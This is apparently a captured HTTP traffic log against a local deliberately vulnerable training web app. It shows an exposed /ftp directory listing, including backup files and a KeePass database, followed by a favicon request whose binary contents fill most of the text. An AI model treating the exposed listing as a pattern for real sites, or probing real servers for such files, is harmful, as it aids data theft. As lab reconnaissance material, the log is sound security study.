url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADoSURBVBgZBcExblNBGAbA2ceegTRBuIKOgiihSZNTcC5LUHAihNJR0kGKCDcYJY6D3/77MdOinTvzAgCw8ysThIvn/VojIyMjIyPP+bS1sUQIV2s95pBDDvmbP/mdkft83tpYguZq5Jh/OeaYh+yzy8hTHvNlaxNNczm+la9OTlar1UdA/+C2A4trRCnD3jS8BB1obq2Gk6GU6QbQAS4BUaYSQAf4bhhKKTFdAzrAOwAxEUAH+KEM01SY3gM6wBsEAQB0gJ+maZoC3gI6iPYaAIBJsiRmHU0AALOeFC3aK2cWAACUXe7+AwO0lc9eTHYTAAAAAElFTkSuQmCC);\n}\n#files .icon-default .name {\n background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAC4SURBVCjPdZFbDsIgEEWnrsMm7oGGfZrohxvU+Iq1TyjU60Bf1pac4Yc5YS4ZAtGWBMk/drQBOVwJlZrWYkLhsB8UV9K0BUrPGy9cWbng2CtEEUmLGppPjRwpbixUKHBiZRS0p+ZGhvs4irNEvWD8heHpbsyDXznPhYFOyTjJc13olIqzZCHBouE0FRMUjA+s1gTjaRgVFpqRwC8mfoXPPEVPS7LbRaJL2y7bOifRCTEli3U7BMWgLzKlW/CuebZPAAAAAElFTkSuQmCC);\n}\n</style>\n <script>\n function $(id){\n var el = \'string\' == typeof id\n ? document.getElementById(id)\n : id;\n\n el.on = function(event, fn){\n if (\'content loaded\' == event) {\n event = window.attachEvent ? "load" : "DOMContentLoaded";\n }\n el.addEventListener\n ? el.addEventListener(event, fn, false)\n : el.attachEvent("on" + event, fn);\n };\n\n el.all = function(selector){\n return $(el.querySelectorAll(selector));\n };\n\n el.each = function(fn){\n for (var i = 0, len = el.length; i < len; ++i) {\n fn($(el[i]), i);\n }\n };\n\n el.getClasses = function(){\n return this.getAttribute(\'class\').split(/\\s+/);\n };\n\n el.addClass = function(name){\n var classes = this.getAttribute(\'class\');\n el.setAttribute(\'class\', classes\n ? classes + \' \' + name\n : name);\n };\n\n el.removeClass = function(name){\n var classes = this.getClasses().filter(function(curr){\n return curr != name;\n });\n this.setAttribute(\'class\', classes.join(\' \'));\n };\n\n return el;\n }\n\n function search() {\n var str = $(\'search\').value.toLowerCase();\n var links = $(\'files\').all(\'a\');\n\n links.each(function(link){\n var text = link.textContent.toLowerCase();\n\n if (\'..\' == text) return;\n if (str.length && ~text.indexOf(str)) {\n link.addClass(\'highlight\');\n } else {\n link.removeClass(\'highlight\');\n }\n });\n }\n\n $(window).on(\'content loaded\', function(){\n $(\'search\').on(\'keyup\', search);\n });\n </script>\n </head>\n <body class="directory">\n <input id="search" type="text" placeholder="Search" autocomplete="off" />\n <div id="wrapper">\n <h1><a href=".">~</a> / <a href="ftp">ftp</a></h1>\n <ul id="files" class="view-tiles"><li><a href="ftp/quarantine" class="icon icon-directory" title="quarantine"><span class="name">quarantine</span><span class="size"></span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/acquisitions.md" class="icon icon icon-md icon-text" title="acquisitions.md"><span class="name">acquisitions.md</span><span class="size">909</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/announcement_encrypted.md" class="icon icon icon-md icon-text" title="announcement_encrypted.md"><span class="name">announcement_encrypted.md</span><span class="size">369237</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/coupons_2013.md.bak" class="icon icon icon-bak icon-default" title="coupons_2013.md.bak"><span class="name">coupons_2013.md.bak</span><span class="size">131</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/eastere.gg" class="icon icon icon-gg icon-default" title="eastere.gg"><span class="name">eastere.gg</span><span class="size">324</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/encrypt.pyc" class="icon icon icon-pyc icon-default" title="encrypt.pyc"><span class="name">encrypt.pyc</span><span class="size">573</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/incident-support.kdbx" class="icon icon icon-kdbx icon-default" title="incident-support.kdbx"><span class="name">incident-support.kdbx</span><span class="size">3246</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/legal.md" class="icon icon icon-md icon-text" title="legal.md"><span class="name">legal.md</span><span class="size">3047</span><span class="date">3/5/2024 5:20:40 PM</span></a></li>\n<li><a href="ftp/package.json.bak" class="icon icon icon-bak icon-default" title="package.json.bak"><span class="name">package.json.bak</span><span class="size">4291</span><span class="date">2/28/2024 2:12:47 PM</span></a></li>\n<li><a href="ftp/suspicious_errors.yml" class="icon icon icon-yml icon-text" title="suspicious_errors.yml"><span class="name">suspicious_errors.yml</span><span class="size">723</span><span class="date">2/28/2024 2:12:47 PM</span></a></li></ul>\n </div>\n </body>\n</html>'
GET http://localhost:3000/assets/public/favicon_js.ico HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Referer: http://localhost:3000 Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"3aee-18df12a535a"\r\nContent-Type: image/x-icon\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:29:49 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'\x00\x00\x01\x00\x03\x0000\x00\x00\x01\x00 \x00\xa8%\x00\x006\x00\x00\x00 \x00\x00\x01\x00 \x00\xa8\x10\x00\x00\xde%\x00\x00\x10\x10\x00\x00\x01\x00 \x00h\x04\x00\x00\x866\x00\x00(\x00\x00\x000\x00\x00\x00`\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x16\xc2\x01#9\xcf\x17+O\xd7G.Y\xdap0^\xdc{1`\xddd1`\xdd(1_\xdd\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x12#:\xcf+#:\xcf2#:\xcf-"8\xce#"7\xce\x18#:\xcf\x0e#:\xcf\x06#:\xcf\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#;\xcf\x01#:\xcf\r"8\xce8$<\xd0\x86)L\xd5\xd1)K\xd5\xf7&C\xd2\xff+P\xd7\xff0^\xdc\xff1_\xdd\xdd1`\xdd[1`\xdd\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf.#:\xcf\xc5#:\xcf\xeb#:\xcf\xef#:\xcf\xec%@\xd1\xe4%?\xd1\xd8#9\xcf\xc9#9\xcf\xb7#9\xcf\xa4#:\xcf\x92#:\xcf\x83#:\xcfw#:\xcfo#:\xcfm#:\xcfq#9\xcf|#9\xcf\x98#:\xcf\xc5&A\xd2\xef,R\xd8\xff/[\xdb\xff)J\xd5\xff*L\xd6\xff-U\xd9\xff,T\xd8\xff0^\xdc\xff1`\xdd\xf21`\xdd\x9a1`\xdd61`\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcfM#:\xcf\xf9#:\xcf\xff#:\xcf\xff#:\xcf\xff%A\xd1\xff\'F\xd3\xff)K\xd5\xff\'F\xd3\xff%@\xd1\xff$=\xd0\xff$<\xd0\xff#;\xcf\xff#;\xcf\xff#;\xcf\xff$<\xd0\xff%?\xd1\xff\'F\xd3\xff+P\xd7\xff/\\\xdb\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xec1`\xdd\xb21`\xddl0_\xdd5,\\\xdc\x121`\xdd\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x10#:\xcf\x9c#:\xcf\xf8#:\xcf\xff#:\xcf\xff#9\xcf\xff%?\xd1\xff/Z\xdb\xff1`\xdd\xff0]\xdc\xff/Z\xdb\xff.W\xda\xff-U\xd9\xff-T\xd9\xff-V\xd9\xff.X\xda\xff0\\\xdc\xff1_\xdd\xff1a\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xfe4b\xdd\xef8f\xde\xce1`\xdd\x9a0_\xddM1`\xdd\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x0b#:\xcf[#:\xcf\xc6#:\xcf\xfb#:\xcf\xff#:\xcf\xff\'D\xd3\xff/[\xdb\xff1a\xdd\xff1`\xdd\xff1a\xdd\xff1a\xdd\xff1a\xdd\xff1a\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff/^\xdd\xffl\x8e\xe7\xff\xa2\xb7\xf0\xff;h\xdf\xff3b\xdd\xf70_\xdd\x8e2a\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x14#:\xcfu#:\xcf\xe8#:\xcf\xff#:\xcf\xff&B\xd2\xff-V\xd9\xff1`\xdd\xff1a\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff0_\xdd\xffGq\xe1\xff[\x80\xe4\xffv\x95\xe8\xff\xa4\xb9\xf0\xff<i\xdf\xee.]\xdc5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x01#:\xcfM#:\xcf\xe4#:\xcf\xff#:\xcf\xff$=\xd0\xff(I\xd4\xff-T\xd9\xff.X\xda\xff/Z\xdb\xff-U\xd9\xff*M\xd6\xff)J\xd5\xff)I\xd5\xff(I\xd4\xff(H\xd5\xff(H\xd5\xff*L\xd6\xff.Y\xd7\xff3l\xd8\xff3h\xdb\xff1a\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff1`\xdd\xff0_\xdd\xff,\\\xdc\xffb\x86\xe5\xff\xe9\xee\xfb\xffa\x85\xe5\xfa(Y\xdbK\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf[#:\xcf\xee#:\xcf\xff#:\xcf\xff#9\xcf\xff#;\xcf\xff$>\xd0\xff+P\xd7\xff,Q\xd8\xff%?\xd1\xff#9\xcf\xff#9\xcf\xff#:\xcf\xff&F\xce\xff,\\\xce\xff4z\xcd\xff;\x94\xcc\xff@\xa6\xd0\xff@\xa1\xd2\xff;\x8f\xd2\xff7}\xd5\xff4n\xd9\xff2d\xdc\xff1_\xdd\xff1_\xdd\xff1_\xdd\xff1`\xdd\xff0_\xdd\xffGq\xe1\xff\xb2\xc4\xf2\xffNw\xe2\xed)Z\xdc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02#:\xcfg#:\xcf\xef#:\xcf\xff#:\xcf\xff#:\xcf\xff#:\xcf\xff$<\xd0\xff$>\xd1\xff&C\xd2\xff#:\xcf\xff(N\xce\xff6\x81\xcd\xff=\x99\xcc\xff@\xa7\xcc\xffA\xab\xcc\xffA\xaa\xcb\xffF\xba\xde\xffL\xd0\xf3\xffI\xc6\xe9\xffF\xbb\xde\xffB\xac\xd6\xff>\x9b\xd2\xff:\x88\xd3\xff6v\xd7\xff3i\xdb\xff1a\xdd\xff1`\xdd\xff3a\xdd\xff:g\xde\xff1`\xdd\xa11`\xdd\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x03#:\xcfV#:\xcf\xd8#:\xcf\xff#:\xcf\xff#:\xcf\xff#9\xcf\xff*S\xce\xff5{\xcd\xff(J\xd1\xff&G\xce\xff6\x82\xc6\xffA\xaa\xcb\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa8\xcb\xffF\xbc\xdf\xffN\xd9\xfe\xffN\xd9\xfe\xffN\xd8\xfd\xffM\xd4\xf9\xffK\xce\xf1\xffH\xc4\xe7\xffE\xb7\xdc\xff@\xa5\xd3\xff7}\xd6\xff1_\xdd\xff1`\xdd\xf70_\xdd\xa51`\xdd\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf&#:\xcf\x88#:\xcf\xd6#:\xcf\xf8#8\xcf\xff1o\xce\xff@\xa5\xcc\xff.^\xd3\xff$;\xd2\xff%L\xb9\xff?\xa2\xc7\xffA\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcb\xffF\xbb\xdf\xffN\xd8\xfd\xffM\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd9\xfe\xffN\xd9\xfe\xffN\xd8\xfd\xffI\xc5\xe7\xff;\x8f\xd2\xf01`\xdd\xad1`\xddT1`\xdd\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x01#:\xcf\x1a#:\xcfI"8\xcfy7\x84\xcd\xd2A\xaa\xcc\xff6\x80\xc9\xff\'O\xbf\xff-o\xb6\xff=\xa6\xca\xff>\xa8\xcb\xffD\xaa\xcd\xffJ\xac\xce\xffF\xbb\xdf\xffQ\xd9\xfd\xffV\xda\xfd\xffN\xd8\xfd\xffK\xd7\xfd\xffL\xd7\xfd\xffM\xd8\xfd\xffN\xd9\xfe\xffJ\xc8\xec\xffA\xa7\xcd\xb36u\xd7\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x9fA\xa9\xcc\xffA\xa8\xcb\xffG\xa4\xc9\xff\\\xb4\xd2\xffy\xc3\xdb\xff\x9d\xd2\xe5\xff\xc3\xe4\xef\xff\xb0\xdb\xe9\xffI\xbc\xe0\xffi\xde\xfd\xff\xcd\xf4\xfe\xff\xba\xf0\xfe\xff\x98\xe8\xfe\xffy\xe1\xfd\xffa\xdc\xfd\xffR\xda\xfe\xffJ\xcb\xf0\xffB\xab\xce\xbd@\xa7\xc9\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x05A\xa9\xcc\xb2?\xa8\xcb\xffy\xc2\xdb\xff\xd3\xec\xf3\xff\xec\xf6\xfa\xff\xfc\xfd\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xcb\xe7\xf0\xffI\xbc\xdf\xffn\xdf\xfd\xff\xf2\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf7\xfd\xff\xff\xe6\xfa\xff\xff\xc4\xf3\xff\xff`\xd3\xf3\xff@\xad\xd0\xcd@\xa6\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x0bA\xa9\xcc\xc3?\xa8\xcb\xff\xa1\xd4\xe6\xff\xff\xff\xff\xff\xf8\xfc\xfd\xff\xe4\xf3\xf8\xff\xe4\xf3\xf8\xff\xff\xff\xff\xff\xcb\xe7\xf0\xffI\xbc\xdf\xffb\xdc\xfd\xff\xc7\xf3\xfe\xff\xec\xfb\xff\xff\xfc\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xf7\xfe\xff\xfft\xda\xf6\xff@\xae\xd2\xda@\xa6\xc9\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x13A\xa9\xcc\xd2@\xa9\xcc\xffz\xc3\xdb\xff\x91\xcd\xe1\xffo\xbe\xd8\xffS\xb1\xd1\xff\x93\xce\xe2\xff\xff\xff\xff\xff\xc7\xe5\xef\xffI\xbb\xde\xffN\xd8\xfd\xffS\xd9\xfd\xffg\xdd\xfd\xff\x86\xe4\xfe\xff\xae\xed\xfe\xff\xec\xfb\xff\xff\xfc\xff\xff\xff\x7f\xdf\xf9\xff@\xb1\xd5\xe6@\xa6\xc9&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x1eA\xa9\xcc\xdfA\xa9\xcc\xff@\xa9\xcc\xff>\xa8\xcb\xff>\xa8\xcb\xff<\xa7\xcb\xff\x90\xcd\xe1\xff\xff\xff\xff\xff\xc2\xe2\xee\xffH\xba\xde\xffQ\xd8\xfd\xff[\xdb\xfd\xffO\xd8\xfd\xffI\xd7\xfd\xffL\xd8\xfd\xff\xc8\xf3\xfe\xff\xff\xff\xff\xff\x8b\xe3\xfb\xffA\xb3\xd7\xf0@\xa6\xc94\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc+A\xa9\xcc\xeaA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xff>\xa8\xcb\xff\x92\xce\xe2\xff\xff\xff\xff\xff\xbe\xe1\xed\xffF\xb9\xdd\xffc\xdc\xfd\xff\xd1\xf5\xff\xff\xc8\xf3\xfe\xff\xa5\